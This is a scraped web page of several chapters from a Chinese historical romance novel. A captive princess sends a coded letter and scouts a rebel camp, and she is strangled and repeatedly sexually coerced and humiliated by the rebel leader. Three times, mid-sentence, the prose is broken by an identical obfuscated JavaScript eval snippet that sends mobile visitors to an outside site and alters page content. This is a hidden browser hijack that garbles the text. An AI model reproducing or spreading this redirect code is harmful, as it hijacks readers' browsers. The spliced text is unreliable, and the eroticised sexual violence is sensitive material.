那一瞬,她美得恍若九天神女。 芙娘短暂的愣了片刻,继而才后知后觉的回了神,“夫人,那鸽子是您放的?” 她自然瞧见了那只鸽子。 “嗯。”柳妤月也不遮掩,缓步走到铜镜边,整理方才弄乱的发髻,曼声解释道,“我的东西落在宫里了,便想着传信祝宰相,劳烦他托人取了送来。” 听起来倒也不算什么大事。 但芙娘左右想了想,终归有些不放心,“夫人,此处乃是义林军军帐,周遭守卫森严,您这信若想送出去,肯定得从大王面前经过。” 她在这军中已有一段时日,对这里也算有些了解。 芙娘走到柳妤月身后,细心地为她整理发髻,神色却有几分担忧,“您与丞相以往的事情,大王肯定有所耳闻,若是发现了这封信,依照大王的性子,只怕会对夫人起些疑心。奴婢担心,这对您现下的处境不利。” 她虽未说清楚,但柳妤月知道,她是真心为自己着想,担忧着此举会叫盛珏对自己心生嫌隙。 柳妤月心头一暖,笑了笑,看着镜子里倒映的芙娘,弯了弯眉眼。 “那若是我与丞相划清界限,老死不相往来,那大王便不会对我起疑心了吗?” 芙娘一顿,仔细想了想,有些不知如何作答。 答案必然是否。 柳妤月摆弄着妆奁,洁白如玉的指尖划过内里的造型精妙的珠翠头面,笑而不语。 前朝谁人不知,柳妤月与祝允之乃是先帝定下的姻缘,虽未正式成婚,但这么些年,在大魏百姓眼中,两人都是金童玉女的存在。 盛珏不傻,知道这些,自然不可能相信她与祝允之之间从无私情。 若她当真有意避嫌,反倒有几分欲盖弥彰的味道。 相反,若是正大光明的往来些普通书信,任由他逐一查看,一来二去查不出什么东西,长此以往,疑心自然就散了。 而至于这些信件中暗含的消息…… 柳妤月翘了翘嘴角,垂下了眸子。 “芙娘。” “嗯?” “我在这儿坐着实在闷的慌,不知可否出去走走?” “自是可以的,夫人。” “那你随我一块儿吧。”柳妤月转过身,言笑晏晏。 * 大魏已降,义林军计划三日后入驻京都,分封诸王,建立新朝。 军师段路遥候在主帅帐中,等着与主帅商议入京事宜。 没多久,帘幕骤然被掀开,盛珏快步走进帐中。 “主帅。”段路遥本欲上前,行到一半,生生被对方周围的冷空气给冻住了脚步。 主帅瞧着……似乎心情不大好。 “何事。”盛珏坐下,面色不善。 段路遥思忖片刻,知晓现下不宜议事,瞥了瞥盛珏,转而试探性道,“大王可是遇到了烦心事?” “嗯。”盛珏摸索着手腕上的软剑,不知在想些什么。 段路遥来之前听下头的官兵提及,昨夜主帅抱着那位公主回了营帐,之后一整夜没出来过。 里头发生了什么不言而喻。 段路遥悄悄瞧了大王一眼。 按理说有了这一夜春风得意,大王如今理应神清气爽才是,怎的如今瞧着——成了这样? “行止。”盛珏忽然开口。 段路遥,字行止,号兰苑居士。 被叫到字,段路遥立马应上,“诶!” “你可派人查过琅悦?”盛珏道。 果然是因为琅悦公主! 段路遥想了一会儿,道:“琅悦公主长于深宫,外界对她知之不多,只听闻她是魏宣帝生前最宠爱的女儿,后来又是幼弟的长姐,宫中声望颇高,其中最为人称道的,是她举世无双的美貌。” 说了还不如不说。 盛珏转过头,脑海中不自觉浮现女子眉眼弯弯的俏丽模样。 她诚然美若天仙,国色天香,可在他看来,她应当不会只有美貌为人称道。 盛珏越想越发觉了不对。 昨日初见,美人秋水清眸,柔弱不堪,单是一个老柴,便已将她骇得小脸惨白,宛如久居温室的娇花。 可一转头,这朵娇花便抽出了短刃,要取他性命。 她并非只是一个美人、一朵娇花。 她很聪明。 他追问了一句柳扶芫的下落,便被她察觉心意、以此要挟,叫他落了下风。 说是娇花,倒是折辱她了。 “派人盯紧她。”盛珏开口,越想越觉得烦闷。 他隐约察觉,柳妤月似乎一直在故意示弱,以便叫他放松戒心。 瞧着是温柔和煦,可那不过是赠他的一碗迷魂药罢。 而纵他知晓,这温柔却依旧对他十分有效。 那女人的一双秋水眸似乎有什么魔力,单是眼波流转,便已是无双艳丽,摄人心魂。 叫人丢盔弃甲,溃不成军。 义林军战无不胜的首领第一次在女人身上感受到挫败。 心里似乎有一股闷火在燃烧,叫他浑身都不自在。 “查。”他转头看向段路遥:“仔细查,到底是谁在转移那群皇储,又为什么留下了柳妤月。” 他不相信柳妤月的留下是一个巧合。 “是。”段路遥领命,转身欲退去。 恰好这时外头有士兵进来,右手提着一只红嘴白羽的鸽子,左手拿着一封信。 见到盛珏,他拱了拱手:“大王,琅悦公主那儿飞出了一个鸽子,上头有封信,似乎……是给祝宰相的。” 盛珏眉头一皱。 “拿来。” “是。” 盛珏接过士兵奉上的信笺,展开,但见上头清秀的簪花小楷: “昨日匆匆离宫,察觉锦裘不慎落于霜亭,今朝白露,余观日不盛,觉寒凉,盼寻之相送,妤月感激不尽。” 盛珏捏着信笺,良久,没有动静。 段路遥凑过脑袋,巴巴的看着这封信笺,看了好一会儿,也没看出个子丑寅卯来。 “看起来只是一封家书。”段路遥若有所思,“好像是叫祝宰相去宫里将她的衣裳送来。” 末了还不忘补上一句,“公主的字写得不错,想来是跟随名家练过,颇有文人之风。” 比大王的字好了不是一点两点。 最后一句话段路遥没敢说,到了嘴边,生生咽了回去。 盛珏合上信笺,面色沉寂。 他不太明白,她给祝允之传书,竟是为了一件锦裘? 世人皆知这两人曾有婚约,关系密切,可如今见着这信笺,言辞庄重,反倒显得颇为生分。 难不成,是担心被旁人见着?这才故作生疏? 他有些不太确定,可翻来覆去的看了一遍,却什么也没看出来。 难道——真的只是为了一件衣裳? 盛珏越想越是烦闷,一挥手,信笺悠悠然地落在了地面上。 “把这信送出去。”盛珏转身,面色有些阴沉,“往后柳妤月所有的信笺,都拿来给本王看遍后才可送出。” “是。”士兵捡起信,随后便退下了。 “大王,这信笺您怎的又送出去了?”段路遥看着那信笺又被送走,顿时有些急了起来,“这内里指不定有什么问题,何不扣下,从长计议?” “不必。”盛珏摩挲案上宣纸,闭上眼,神情平静了些,“与其费尽心思钻研这信,不如派人仔细盯着祝允之收到这信之后的动向。我倒是要看看,这败军之相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227990|151293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能弄出多大的名堂。” 这……倒也是个法子。 段路遥点头称是。 * 片刻后,宰相府中一片静谧,午后的阳光照得檐上的琉璃瓦熠熠生辉,雪白的鸽子越过屋檐,悠悠落于窗棂,扑腾两下翅膀,“咕咕”地叫了两声。 刘掌事走到窗边,取下了鸽子腿上绑着的信笺。 “奇怪,公主怎么会把信绑在鸽子腿上。”刘掌事皱着眉,仔细检查信笺,却并未发现什么异样。 可他分明记得,这由公主训练出的影云鸽,一向衔信而飞。 “拿来我看看。”祝允之坐在书案前,正执笔批改公文。 刘掌事闻言奉上了信笺。 “这信被盛珏的人看过。”祝允之接过信笺,上上下下看了看,“你瞧,这上头的蜂蜡略有磨损,显然被人打开过。” “啊?”一听这信被打开过,刘掌事不禁多看了几眼,“那他们岂不是发现公主与我们传信了?这……他们不会为难公主吧。” “想来应是不至于,盛珏江山未稳,他还不敢对阿词做什么。”祝允之劝慰刘掌事,手中展开信笺,一见上头字迹清秀的簪花小楷,他顿了下,眸光微微软了些许。 “公主写了什么?”刘掌事好奇道。 祝允之眉眼稍暖,将信笺递给了刘掌事。 刘掌事接过信笺,从头到尾看了三遍,越看眉头皱得越深。 “这这这,公主哪有什么锦裘?”刘掌事越看越不懂,“公主尊贵,宫中的裘衣素来用的都是上好的狐皮制成,哪有什么锦裘?” “对啊。”似是想到什么,祝允之蓦的笑了,恍若晨光破云而出,那是国破后,祝允之面上少有的笑意。 从刘掌事手中拿回信笺,他在信笺上寥寥画了几笔,但见里头的几个字被他圈了出来。 “公主自幼跟着王太傅学书法,练得是王氏字帖,一笔一划自有章法,最是讲究干净利落。”他细细看着上头的字,笑着道,“你看,这寥寥一段,唯有‘察’、‘落’、‘霜’、‘余’、‘盛’、‘觉’六字的笔画略有粘连,更像李学士的笔风。” 王太傅、李学士均为前朝重臣,先后被指为公主的老师。 刘掌事照着祝允之的说法,又细细看了看,确然发觉了些微不同。 可却也只是不同,就算是知道这六个字,刘掌事横来竖去也没看出什么名堂,只能继续发问:“那这六字又有何机关?” 祝允之以朱笔先后点了点“察”、“余”、“觉”三字,解释道:“‘察’字音同‘查’,‘余’谐音为‘与’,‘觉’字又音同‘珏’,至于这‘落’、‘霜’二字,乃是五公主柳扶芫的小字。” 大魏五公主柳扶芫,小字落霜,号静德公主。 世人大多只知柳扶芫的号、或是名,唯有皇室宗亲,方知其小字。 经了他这么一说,刘掌事顿时恍然,“那这组合起来便是‘查落霜与盛珏’,公主这是叫咱们查五公主与这匪首之间可曾发生过什么事儿?” 祝允之点头,眸光再次落在这信笺上,良久,开口时,言辞之中已满是欣羡,“阿词果真是智谋无双。” 这封信笺,表面瞧着平平无奇,但也只有与她一同长大的祝允之才能窥得其中内容。 而她,更是料定盛珏看到信,解不出内容后不会善罢甘休,而了解这封信最好的方法,便是故意将这封信送到祝允之手里,再细细窥测相府下一步的动作。 “长公主果然聪慧非凡。”刘掌事也后知后觉的察觉到中个玄妙,钦佩道,“这大魏有公主,真是不幸中的万幸。” 祝允之笑了笑,小心翼翼地将信笺收好,继而转头对刘掌事道,“辛劳您去霜亭寻件锦裘回来。” 说是寻,其实不过是想办法往霜亭周围放件锦裘,以帮公主圆了谎。 刘掌事心知肚明,立马点头如捣蒜,“是。” 5. 窒息 一日时光转瞬即逝,柳妤月有心探查义林军营帐的布局,好查清母后与幼弟到底被关在哪里,于是借着散步的由头,与芙娘一同把军营逛了个大半。 来之前,柳妤月早就听说义林军规模宏大,而真真见着时,却是另一番感受。 义林军在城外有东南西北四方营地,每一营地粗略估计约有十万将士,除开伤员、负责粮草与后勤补给的将士,单是一个东营便有足足八万的士兵。 柳妤月每走过一个营地,便一阵胆战心惊。 为君者,自然知晓,若天下太平,百姓安居乐业,则匪贼势单力薄,而若是天下大乱,百姓苦不堪言,则匪贼势力雄厚,可与朝廷争锋。 柳妤月无法想象,到底是怎样的世道,才能让如此多的百姓愿意落草为寇。 难不成,真是大魏皇族治国有误,鱼肉百姓? 可她记忆里分明不是这样,她记得清楚,父皇在位期间,诸多政令无一不是集思广益,再三推敲,唯恐苛难于百姓。 怎么最后还会叫这么多百姓,入了这匪贼窝呢。 柳妤月实在想不明白。 两人行过东营,走过西营,最后逛完北营时,天色已然渐黯。两人歇在演武场旁的石凳上,简单吃了些干粮。 傍晚的凉风吹过发梢,柳妤月坐在石凳上,脑子里乱哄哄的。 反倒是身边的芙娘瞧着颇为兴奋,逛了一天,这也是她第一次有机会在军营里闲适散步。 柳妤月侧头瞧她,芙娘模样生的清秀,傍晚夕阳的余晖落在她的侧脸,衬得她的眼眸亮晶晶的,似有波光荡漾。 “芙娘。”柳妤月开口,声音温软了几分,“你来义林军之前,家中是何样的?” “家中啊——”芙娘低头看着自己的阮烟色并蒂芙蓉绣鞋,声音很是轻快,“我家住城外的一个小镇子,爹娘是辛劳了一辈子的庄稼人,辛劳了一辈子,没什么积蓄,前几年旱灾,庄稼地里颗粒无收,地主家便抓我抵了我爹娘地里的租子,还给了我爹娘一些救命粮。” 民间私自以人抵钱,这是早在前朝便被禁绝了的陋习。 柳妤月眉头紧紧蹙着,轻声道:“以人抵租子,不是早就被禁绝了吗。” “禁绝是禁绝了。”芙娘低着头,无奈道,“可我爹娘确实拿不出多余的粮食了,全家上下饿得嗷嗷叫,除了卖了我,还能有什么法子?” 寥寥数语,却是沉重异常。 但芙娘笑了笑,释然道:“但公主不必为我忧心,我现在过得很好,以往那都是为了活命而已,没法子的法子。” 柳妤月下意识道:“怎么会这样?我记得天灾这几年,不少朝廷官员都都会在城外施粥,京城官府也会定点布施……” “那都是做做样子给公主你们看的。”芙娘笑了笑,她年纪不大,倒是看多了这种把戏,“天灾数年,各地粮食都歉收,达官贵人们自己都吃不到什么好东西,又怎会真的施舍给我们?至于官府那边,别的地方不知道,反正咱们镇上没见着过这些粮食。” “这怎么可能呢?”柳妤月更加想不明白了,“先帝大开国库,每月都以郡为单位赠与粮草,你们怎么会没有——” 话还没说完,柳妤月便自己想明白了。 粮食派是派下来了,但中间官员你一箪,我一斗,七七八八的瓜分后,可留到百姓手中的简直少之又少。 因此,为了多拿到些朝廷派下来的粮食,百姓们便聚集在一起,落草为寇,打家劫舍,叫更多人家破人亡,匪贼势力日渐壮大。 反倒给大魏引来了灭顶之灾。 “这群贪官!”柳妤月咬牙。 到底是她掌政太晚,又战事太紧,虽是知晓这群草包,却始终没能留出时间收拾这些乌合之众。 芙娘侧头,但见柳妤月秀气的眉头微微皱起,漂亮的手掌紧握成了拳,一副义愤填膺的模样。 芙娘没忍住,一时“噗嗤”一声笑了出来,“公主您真可爱。” “嗯?”柳妤月没反应过来,茫然的看向芙娘。 “其实大魏如今成了这样,您也很难过吧。”恰有风起,吹动柳妤月鬓角的发,芙娘贴心的为她捋了捋,笑得眉眼弯弯,“但没关系,公主,大王真的是很好的人,我相信,他一定会好好对您,让您以后再也不会难过了。” 很好的人? 柳妤月抿唇,脑海里浮现的,是昨夜一整夜的羞辱。末了又看了看面前芙娘澄澈赤诚的眼睛,无奈的笑了笑。 “夫人您别不信。”芙娘道,“您知道吗,大王不仅把我从地主家里救了出来,还给了我活儿干,让我有了安身立命的地方,您说,这不是好人吗!” “也许有些时候,他确实是很好的人。”柳妤月并不打算在这一点上纠结,她看向远处金黄的夕阳,眸底十分平静,“但说到底,这跟我没什么关系。” 柳妤月心里清楚得很。 她与盛珏不过是各取所需,往后的一段时间里,兴许会有些虚情假意,虚与委蛇,但那都是粉饰太平的工具,做不得真。 说到底,大魏国破,她作为大魏公主,苟延残喘的活下来,也只是为了救出被叛贼掳走的母后和幼弟。 因此,往后种种,皆是为了母后与幼弟。 …… 不知不觉到了义林军晚练的时候,演武场上诸多士兵列成方阵,各个手握长枪,意气风发。 这种场合,柳妤月与芙娘都为女眷,理应回避。恰好柳妤月也不打算多呆,于是跟着芙娘准备回去。 岂料刚一转身,后头就传来了声音。 “老子就是说,演武场上哪来的女人香。” 这声音听着颇为熟悉,柳妤月蹙眉,一转过头来便见着阔步走来的柴莽。 昨日在宴上一见,他当着盛珏的面对羞辱与她,那场景想来至今都十分恶心。 而今这人身后还跟着几个士兵,显然来者不善。 此地不宜久留,柳妤月转身欲走,这厢柴莽三步并两步的上前,一把抓住她的肩膀,生生将她摁在原地。 躲又躲不过,柳妤月只能站在原地。 一旁的芙娘低头福了福身子:“柴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227991|151293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂主。” 柴莽瞥了瞥芙娘,末了给身边的两个士兵使了个眼色,后者心领神会,立马上前拉着芙娘往远处走。 “你们、你们干嘛?!”芙娘不知昨日之事,突然被他们架起来,往后拖,有些茫然,“你们放开我!放开我!” 眼看芙娘要被拉走,柳妤月正想上前,却被柴莽一胳膊揽到怀里。 “公主,急什么?他们不过是将芙娘姑娘送去休息罢。”他漫不经心地拨开她的领口,隐约可见深处的斑驳印记,“让我瞧瞧,好美人,昨晚与大王过得如何?” 柳妤月打心眼里厌恶这人,毫不犹豫的就打开了他的手,“放开!” “看看看,又来了。”柴莽被打开手,也不恼,对着身后的士兵笑道,“看看,看看,这就是那大魏送来的求和礼,瞧瞧这小脸,再看看这身段……” 隔着衣服,他的手不安分的在身上游走,柳妤月只觉恶心的厉害,刚想开口,便又听他道: “别看这小美人现在不配合,过几日,等大王玩腻了,这小美人还不是咱们的?到时候兄弟们人人都有份,想怎么玩就怎么玩!” 柳妤月自小长于深宫,哪里听过这般粗秽的言语,顿时气得身子发凉,几乎是想也没想便抬了手。 “啪——” 清脆的巴掌声。 一瞬间,周围都好似安静了下来。 柴莽不可置信的看着她,左脸清晰的映出一个红色掌印。 这一巴掌像是用尽全身的力气,打得柳妤月掌心发麻,她大口大口的呼吸,眸光刀子般地盯着面前这人,大有几分要将他生吞活剥的架势。 “柴堂主,您怕是弄错了。”她咬着牙,努力叫自己快些平静下来,“如今我是大王的夫人,待到大王荣登大宝,我便是大王的后妃,如今大王都尚未发话,您便如此羞辱我,这是将大王放在何地?” 柴莽呆了很久,柴莽身后的士兵也呆了很久。直到柳妤月这话说完,这群人才堪堪回神。 “小娘们敢打老子。”柴莽在自己的手下面前被一个女人打了,顿时怒火中烧,一把掐住她的脖颈,手背青筋暴起,“老子今天杀了你。” 话落,便掐着她的脖子,生生将她举起。 柳妤月拼命挣扎,可女子的力量实在孱弱,根本不能动他分毫,喉间被他死死掐着,火辣辣地疼,她隐约感觉到周围的空气愈发稀薄,近乎窒息。 不行…… 不能——死在这里。 她还不能死。 巨大的求生欲让她止不住的挣扎,可那人实在力气大,她清晰地感觉到眼前的视野在渐渐变得模糊。 那一瞬,她以为自己真的要死了。 “柴堂主,手下留人。” 电光火石之间,不知是谁忽然走近,折扇一打,喉咙上的桎梏瞬间消弭。 失去支撑,她无力倒下,却又被那人稳稳接住。 她下意识地大口大口呼吸,借着充盈的氧气,恢复了些许精神。她努力睁开眼,想看清那人的容貌。 是……是谁? 6. 行止 柳妤月费劲力气睁大眼睛,视野渐渐清晰,映入眼帘的是一张清俊的面容。 男子一身文人打扮,灰布衣裳,手握宣白折扇,下头穿着一双军靴,一双桃花眼似有波光凌凌。 男子见着她,先是谦和一笑,扶着她站好,之后才拱了拱手,道:“琅悦公主,方才失礼了。” 柳妤月的气息依旧紊乱,受了那人的礼,报以礼貌一笑。 柴莽捂着红肿的手腕,扯着嗓子喊:“段军师,让开,老子要弄死那女的。” 说罢,柴莽便又要作势冲过来。 段路遥挡在中间,堪堪拦住了他。 “哎呀,柴堂主。”段路遥扇着扇子,拍了拍柴莽的肩膀,“您一个顶天立地的男子,何必为难一个手无缚鸡之力的弱女子呢?” “老子要杀了她!” 柴莽正在气头上,根本听不进去话,转身拔出士兵的佩剑,作势便要往柳妤月身上砍去。 柴莽的力道极大,长剑破空发出低啸。 柳妤月一怔,眸底倒映长剑飞速砍来。 “叮——” 折扇牢牢抵住长剑。段路遥化解剑风,挡在她面前。 “柴堂主。”段路遥的语气带着几分愠怒,“这就是你的不对了,昨日宴上大王亲口说过,琅悦公主乃是咱们的贵客,你岂能如此放肆?” 柴莽被他逼退几步,眼见着打不过,顿时泄气了几分。 “军师你如此护着这贱人作甚?”柴莽忿忿,“分明是她先打了老子,老子不过还手罢。” 段路遥见状笑了下,语气软了些许,“知晓柴堂主受了委屈,只是这位公主乃是大王贵客,怠慢不得,您且放心,待会儿我便去同大王说道说道,到时大王知晓您委屈,日后定有弥补之策。” 言至此处,他停下来,多打量了眼柴莽的神色,状似不经意道,“指不定哪天,还能给您封个王爵当当。” “当真?”听了要封爵,柴莽顿时眼前一亮。 “当真!” 段路遥哄住了柴莽,末了还不忘送了两锭金子,这才将柳妤月安全带走。 “公主方才可是吓到了?”离开演武场,段路遥关切问道。 少女强撑着精神笑了下,那一瞬,红唇盈盈,笑意浅浅,微微泛白的面容更显几分娇弱,像一朵熬过了彻夜大雪的红梅,鲜艳,夺目,却又脆弱不堪。 任谁见了都会心生怜悯。 “无事。”她款款行礼,声音温和,恍若风吹银铃,“多谢公子相救,未曾问过公子名号。” 芙蓉如面柳若眉,盛世风华盖九州。 段路遥一时看痴了,直到她茫然歪头,他才蓦然回神,慌乱回话,“在下段路遥,字行止,公主唤我行止便好。” 柳妤月一怔,她听过段路遥的名号。 国破前,大魏军队与义林军在衢州,柳妤月以奇阵困住了义林军,两军对峙间,正是段路遥出了奇招,破了阵法,这才叫义林军占了衢州。 柳妤月得知消息后颓丧好久,只叹如此人才,未能为大魏所用。 实在是国之祸事。 哪想到当日惋惜的英杰如今就在面前。 这般想着,柳妤月没忍住多看了他一眼。 * 段路遥将柳妤月带出演武场,将她送到营帐前,分别之前拱了拱手,道:“今日柴堂主多有得罪,还盼公主莫要放在心上。” 柳妤月笑了下,礼貌回礼,转过身,往帐中走去。 掀开帐幕,里头燃了淡香,轻烟自香炉缓缓升起,被帘幕带起的风吹散在空气中。 里头的人已有一人候着了,柳妤月脚步一顿,那人转过身来,正是盛珏。 他怎么又来了。 柳妤月垂眸,福了福身子,尽量叫自己显得没那么厌烦。 “大王。” 那人没回话。 柳妤月虽是掩藏极好,但盛珏还是发现了。 看到他的瞬间,她下意识蹙了蹙眉,随后垂下眸子,戴上一副温良柔顺的假面。 看样子,她很不欢迎他。 意识到这一点,盛珏心头的郁结散了许多。 他就是喜欢看她厌烦自己,却又不得不呆在自己身边的模样。 盛珏笑了笑,上前揽住她,有意附在她耳畔,声音暧昧:“外头夜深,咱们该就寝了。” 柳妤月一愣,下意识想挣脱。 可她的力气哪里比得过行军打仗多年的盛珏,盛珏故意贴近她,看她神色微僵,想挣扎而不能。 这让他有种一雪前耻的畅快。 “本王今晚在这儿宿下。” 柳妤月身子一僵,温驯道:“大王还没用晚膳吧,妾身去叫人准备准备。” 边说着,边不动声色的拉开两人之间的距离,转身要去账外叫人。 没走几步,盛珏长臂一伸,将她拉回怀里:“不必了。” 话落,一把将她打横抱起,大步往床榻边走,“本王困了,想先就寝。” 柳妤月神色一愣,一晃神,已经被丢在了床榻上。 她下意识的往后缩,“大王——” 男人的外衣已然被丢到一旁,他结下腰带,娴熟地捆住了她的双手,将另一端绑在床头。 柳妤月被迫抬起双臂,挣扎不得。 盛珏眯起了眼睛,欣赏她惊慌失措的模样。 无论在什么时候,柳妤月都是极美的。 但见那双秋水般的眸子溢满水光,有几分泫然欲泣的脆弱,纤长的睫,恍若沾了露水的蝴蝶,平白叫人怜惜。再往上看,那对洁白如玉的手腕被腰带死死捆住,因着挣扎,粗粝的腰带在腕上留下浅淡的红晕。 在昏黄的烛光下格外勾人。 他喉结微动,大手捏住她精巧的下颚,声音已然有些哑了。 “公主在害怕?莫不是还没有适应?”他的唇在她脖颈处摩挲,感受女子身上独有的温热馨香,“分明昨日已经适应过了。” 男人的声音恍若来自深渊,寥寥数语,便勾起了无数噩梦。 柳妤月这次真的怕了,眼中含泪泫然欲泣,身子不由自主地想缩成一团,却被人抢先一步按住。 “公主昨日分明喜欢。”他的手暧昧地抚着她,呼出的热气喷洒在她娇嫩的耳垂上,“不是还求我吗?怎的现下变了态度,真是——” 他突然狠狠捏住一寸娇嫩肌肤。 “唔——” 柳妤月疼得小脸一白,不受控制地轻呼一声,仰起头,眼角滑下一滴泪。 “痛?”盛珏满意地打量着她,“公主,有没有人说过,你在床上泫然欲泣的模样,真是好生动人。” 柳妤月咬牙,闭上眼睛,没有理睬。 她知道,他是故意这样,想叫她求饶,仿佛财狼抓住了猎物,非要戏耍一番,才将之吞下腹中。 可她偏不。 “大王想做什么便做吧。”她闭上眼睛,知道躲不过,便也不去看他,“长夜漫漫,莫要浪费良辰才是。” “那倒也是。”盛珏笑了笑,一挥袖,床边的烛火骤然熄灭。 他欺身而下,吻住了她。 一室缠绵。 * 柳妤月从未觉得一夜如此漫长。 结束时天际已然泛起鱼肚白。 柳妤月累极,没工夫推开男人的怀抱,闭上眼,只想睡去。 可盛珏似乎并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227992|151293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不困,他饶有兴致的把玩着她的一缕发丝,食指缠绕,再松开,再缠绕,再松开…… 柳妤月已经快睡着了,身边的人却突然再次欺身,她愣了一下,睁开眼,对上那人戏谑的眼神。 “公主累了?”他看起来倒是精神奕奕。 柳妤月闭眼,没有理睬他。 细碎的吻再次落在额心,肩膀,柳妤月睁开眼,已然有些不耐。 “大王不累吗。” “公主累了?”他又问了一遍。 “对,我累了。”柳妤月抿唇,现在只想快些睡去,“烦请大王歇下吧。” 她算是知道了,盛珏现下就是头顽劣的虎,就算无恶不作,肆意妄为,在当下,也无人可阻拦。 她只能服软,满足他那虚伪又可笑的自尊。 “公主这就服输了?”盛珏伏在她身上,似笑非笑,“方才在演武场与柴堂主对峙时,公主那不服输的劲儿呢?” 柳妤月一愣,旋即蹙眉,“你监视我?” 盛珏了然,指尖把玩着她的发梢,“公主怕是忘了,这儿,是义林军。” 义林军中,没有任何举动能逃过他的眼睛。 柳妤月抬眸,对上了后者略带戏谑的眼眸。 “所以呢。”她忽然平静了下来,静静望着他,“大王是觉得,就算是您的女人,也不该忤逆柴堂主?” 她这番话说得轻描淡写,却意味深长。 她有意将自己的身份和盛珏绑在一起,打着盛珏的旗号面对柴莽,用的却是“忤逆”二字。 “你倒是一如既往的聪明。”他自然听出了这弦外之音,但却也没恼,只是轻慢的挑起她的下巴,“但你觉得,打着我的旗号,就真的能四处为非作歹?” 柳妤月温顺一笑,“大王言过了,不过是为了维护您的名号罢——” 话还未说完,对方已然掐住了她的脖颈。 上一秒还在与她亲密无间的男人,如今已然捏住了她的命脉。 “柳妤月。”他的声音极低,恍若来自幽冥深处的修罗,“不要以为我不知道你心里在图谋什么。” 她有心打着他的旗号为非作歹,好离间义林军军中各堂主,引其分崩离析。 柳妤月闭上眼,没有挣扎,小脸憋得通红。 “别挣扎了,你的大魏已经亡了。”他再一次附在她耳边,“柳妤月,你如今,不过是我义林军中的奴隶。” “哦不对,也不算是奴隶。”他嗤笑一声,右手轻佻的抚过她曼妙的腰肢,“准确来说,应当是供人玩弄的——玩物。等我哪天玩腻了,随时都能把你丢出去。” 他松手,那一瞬,无数空气涌入肺腑。 柳妤月下意识的呼吸,眼角沁出几滴生理性的泪。 “咳、咳咳。” 还没呼吸几口,那人掐住她的下巴,强迫她抬头,没等她反应,又是一阵激烈的吻。 盛珏低头,看着她因痛极而蹙起的眉,看她满是嫌恶,却又只能无力的任他蹂躏。 前朝最华美的娇花,如今落在了他这个山野莽夫手里。 他笑了笑,捏紧了她的下巴。 这就是他最好的战利品。 少女柔软的手被他牢牢禁锢在床边,她仰着头,眼泪忽然就止不住了。 她睁着眼,望着晃动的视野,身体深处传来撕裂的痛。 再等等、再等等。 她轻声安慰自己。 白日她周边义林军营东西北三营,未曾发现母后与弟弟的踪迹,现下,只剩南营未曾去。 等她去了南营,寻见了母后与胞弟的踪迹,她就能——离开这里。 柳妤月闭眼,泪水打湿了鬓角。 7. 见雪 一夜折磨的尽头,是天色已白时的一声鸡鸣。 柳妤月撑着身子起床,盛珏站在铜镜前整理衣冠。 透过铜镜,依稀可见软榻上女子姿态柔美,如云青丝滑落身前,她撑着身子起来,眉宇间满是整夜偷欢的倦怠。 盛珏任由侍女为自己整理衣领,透过铜镜欣赏女子的娇颜。 “两日后义林军进京。”盛珏状似漫不经心道,“等入了宫,你想要什么位份?” 此话一出,身边的人神色纷纷怪异了起来。 毕竟谁都知道,义林军如今要入住的皇宫,是琅悦公主生长的地方。 琅悦公主,本就是那儿的主人。 如今回到那里,却是以盛珏女人的身份。 还真是世事难料。 “不需要。”柳妤月平静开口,语气未有波澜,“能陪在大王身边便足够了。” 她尽可能用平静掩饰自己的狼狈,而盛珏转身,带着几分笑意。 “柳妤月,你昨晚将本王伺候的极好。”他示意侍女在一旁候着,缓步走到她身边,慢慢的勾起她的下巴,轻佻又散漫,“本王很高兴,这名分,就当是赏你的。” 像是心满意足的嫖客安抚着让自己满意的青楼妓子。 他语气暧昧,这话一出,周遭站着的侍女互相看了看,神色各异,有人隐隐笑出了声。 笑声虽轻,但传入耳中却是很是刺耳。 盛珏有意在众人面前羞辱,柳妤月便也低头,由着他来。 “那臣妾,便谢过大王恩典。” 寥寥数语一出,屋内短暂的安静了片刻。 柳妤月察觉到周遭人的视线都落在了自己身上,有的探究,有的好奇,有的惋惜,还有的……轻蔑。 她垂下眸子,强迫自己忽略这些。 成大事者,不拘小节。 盛珏像是也没想到,她会如此驯服,嗤笑一声,转身离去,“柳妤月,你匍匐在本大王身前的样子,可真是像极了一只狗。” “不对。狗倒还比不上你,毕竟——”盛珏站定了脚,转过身,笑了笑,“一条狗,可不用伺候主人入睡。” 此话一出,屋内已然有人笑出了声。 屈辱如潮水涌来。 柳妤月闭上眼,神色平静。 无人看见的地方,华美的被褥被她捏成一朵杂乱的花。 - 义林军南营戒备较之其他三营更为森严,寻常人等无法进入。 之前行走其他三营时,有芙娘作伴,才堪堪抵过守卫盘问,如今芙娘也不知去了哪里,柳妤月看着营门前来来往往的人,不自觉蹙起眉。 这该怎么进去? 